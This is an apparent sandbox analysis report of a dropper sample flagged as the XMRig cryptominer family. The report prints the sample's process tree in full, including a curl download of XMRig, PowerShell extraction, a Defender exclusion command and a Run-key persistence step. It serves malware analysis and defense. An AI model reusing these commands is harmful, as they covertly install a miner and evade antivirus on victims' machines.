Analysis

  • user interaction
    yes
  • max time kernel
    149s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    30/10/2026, 01:51

General

  • Target
    file2.exe
  • Size 8.6MB
  • Sample261030-b92n9ada49
  • SHA256 f6832bcfbc15578fe43f4d865ce03e513baecd04d83c0d9310ea496ea88a11cd
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Cryptocurrency Miner

    Makes network request to known mining pool URL.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 14 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file2.exe
    "C:\Users\Admin\AppData\Local\Temp\file2.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3392
    • C:\Users\Admin\AppData\Local\Temp\file2.exe
      "C:\Users\Admin\AppData\Local\Temp\file2.exe"
      2⤵
      • Loads dropped DLL
      • Adds Run key to start application
      • Suspicious use of WriteProcessMemory
      PID:932
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "curl -o %USERPROFILE%\Documents\xmrig.zip -L https://github.com/xmrig/xmrig/releases/download/v6.20.0/xmrig-6.20.0-msvc-win64.zip"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3236
        • C:\Windows\system32\curl.exe
          curl -o C:\Users\Admin\Documents\xmrig.zip -L https://github.com/xmrig/xmrig/releases/download/v6.20.0/xmrig-6.20.0-msvc-win64.zip
          4⤵
            PID:2392
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell -Command "Expand-Archive -Path %USERPROFILE%\Documents\xmrig.zip -DestinationPath %USERPROFILE%\Documents\xmrig -Force""
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1464
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command "Expand-Archive -Path C:\Users\Admin\Documents\xmrig.zip -DestinationPath C:\Users\Admin\Documents\xmrig -Force"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4060
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell "Add-MpPreference -ExclusionPath" %USERPROFILE%\Documents\xmrig\xmrig-6.20.0\xmrig.exe
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2948
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "%USERPROFILE%\Documents\xmrig\xmrig-6.20.0\xmrig.exe"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1148
          • C:\Users\Admin\Documents\xmrig\xmrig-6.20.0\xmrig.exe
            C:\Users\Admin\Documents\xmrig\xmrig-6.20.0\xmrig.exe
            4⤵
            • Executes dropped EXE
            • Reads the TCP/IP host and domain name from the registry
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            PID:1192
    • C:\Users\Admin\AppData\Local\Temp\file2.exe
      C:\Users\Admin\AppData\Local\Temp\file2.exe
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:4884
      • C:\Users\Admin\AppData\Local\Temp\file2.exe
        C:\Users\Admin\AppData\Local\Temp\file2.exe
        2⤵
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:4320
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "%USERPROFILE%\Documents\xmrig\xmrig-6.20.0\xmrig.exe"
          3⤵
          • Executes a command shell one-liner
          PID:2380

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 3KB
          • SHA256 bda499e3f69d8fe0227e734bbb935dc5bf0050d37adf03bc41356dfcb5bcca0b
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 751adffd5a0c74b2e5ccef16e572fa827b8ffc5d4ed1ffd2737e08e986729c07
          • MD5 SHA1 SHA512 TLSH

          VCRUNTIME140.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000d402\VCRUNTIME140.dll
          • Size 174KB
          • SHA256 d1f4225df2cd877dbf130d5668a021dce3f94118455ff5ec952061c30afc9ce7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _bz2.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000d402\_bz2.pyd
          • Size 85KB
          • SHA256 9590a3f4b7c0801cd379341d40bb89b5dc9a4e232c9498b6f3bc6b5e99d4ae7f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _ctypes.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000d402\_ctypes.pyd
          • Size 139KB
          • SHA256 adf71d85781a2fe937fcc44c0961498e2cf30849f9863ff7b5f7510817cea952
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _decimal.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000d402\_decimal.pyd
          • Size 283KB
          • SHA256 9605f332fb52636d77a3125abc7e42ba22b3838dcf136d81f37fe5875cbd62d6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _hashlib.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000d402\_hashlib.pyd
          • Size 67KB
          • SHA256 9052a85ac9947afbbdfdd62b0cad7501b668e6107832cefaa4b76377d710dae0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _lzma.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000d402\_lzma.pyd
          • Size 157KB
          • SHA256 9ff9f63ad79f161722106e029b4c3afc6494848fd73f9bcc2ed5434a15c71bde
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _socket.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000d402\_socket.pyd
          • Size 85KB
          • SHA256 11f2ace2a37e59bf0f2fcfcc2523307408fa2e7f0aec561bc7531a8db130a83c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _ssl.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000d402\_ssl.pyd
          • Size 188KB
          • SHA256 56fdbe70896e4b3c6d4e8897fad1d011129354172566832371289edca0d85a21
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _zstd.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000d402\_zstd.pyd
          • Size 491KB
          • SHA256 7a7b50c580428daf3d43c87b121988d2e8c7af9533fa2195f1aef8652fc2c489
          • MD5 SHA1 SHA512 SSDEEP TLSH

          base_library.zip

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000d402\base_library.zip
          • Size 1.3MB
          • SHA256 78350b6c831c50abd0304e1d8dd80be65332a1b5a7c0439f0e5c7813482e4e14
          • MD5 SHA1 SHA512 SSDEEP TLSH

          libcrypto-3.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000d402\libcrypto-3.dll
          • Size 5.7MB
          • SHA256 75495fe0e079ab00d49be740d3c710a0b94e3f74f9648cb7cc9f768fc7f52319
          • MD5 SHA1 SHA512 SSDEEP TLSH

          libffi-8.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000d402\libffi-8.dll
          • Size 38KB
          • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          libssl-3.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000d402\libssl-3.dll
          • Size 1.2MB
          • SHA256 8957182a9c385bfd9f3f790921de2ddc614cf91f99edbed4e9e5446a46504e32
          • MD5 SHA1 SHA512 SSDEEP TLSH

          python314.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000d402\python314.dll
          • Size 6.5MB
          • SHA256 d8a06cc6ca3348925ea29e343e1c5c5895fe0bb433ff913e1cee44caf358aa6a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          select.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000d402\select.pyd
          • Size 32KB
          • SHA256 0da869c017fd3231cfc1c1e4c4bef1bb7bf5cba38236e6d7bf1630c3507c5a1d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          unicodedata.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000d402\unicodedata.pyd
          • Size 740KB
          • SHA256 4c4e9f9e71e299a7e0093830e79f955f2b12b4eb0a6bb45003d42256b6e5985d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          __PSScriptPolicyTest_ds4x01lh.tn4.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ds4x01lh.tn4.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          xmrig.zip

          • Path C:\Users\Admin\Documents\xmrig.zip
          • Size 2.2MB
          • SHA256 dd7fef5e3594eb18dd676e550e128d4b64cc5a469ff6954a677dc414265db468
          • MD5 SHA1 SHA512 SSDEEP TLSH

          config.json

          • Path C:\Users\Admin\Documents\xmrig\xmrig-6.20.0\config.json
          • Size 2KB
          • SHA256 110b99d3d38e42e42c2f92ecc5c649e3ebbc175a92ca18998ed45d90b2e3a208
          • MD5 SHA1 SHA512 TLSH

          xmrig.exe

          • Path C:\Users\Admin\Documents\xmrig\xmrig-6.20.0\xmrig.exe
          • Size 5.2MB
          • SHA256 4e4c6f9ec188af7478c91101e276674f2854abc64c0dc83c81ad8db7709394bb
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1192-128-0x0000019E94300000-0x0000019E94320000-memory.dmp

          memory/2948-122-0x0000024DE31C0000-0x0000024DE33DC000-memory.dmp

          memory/4060-87-0x0000028EDD900000-0x0000028EDD912000-memory.dmp

          memory/4060-88-0x0000028EDD8F0000-0x0000028EDD8FA000-memory.dmp

          memory/4060-84-0x0000028EDD870000-0x0000028EDD892000-memory.dmp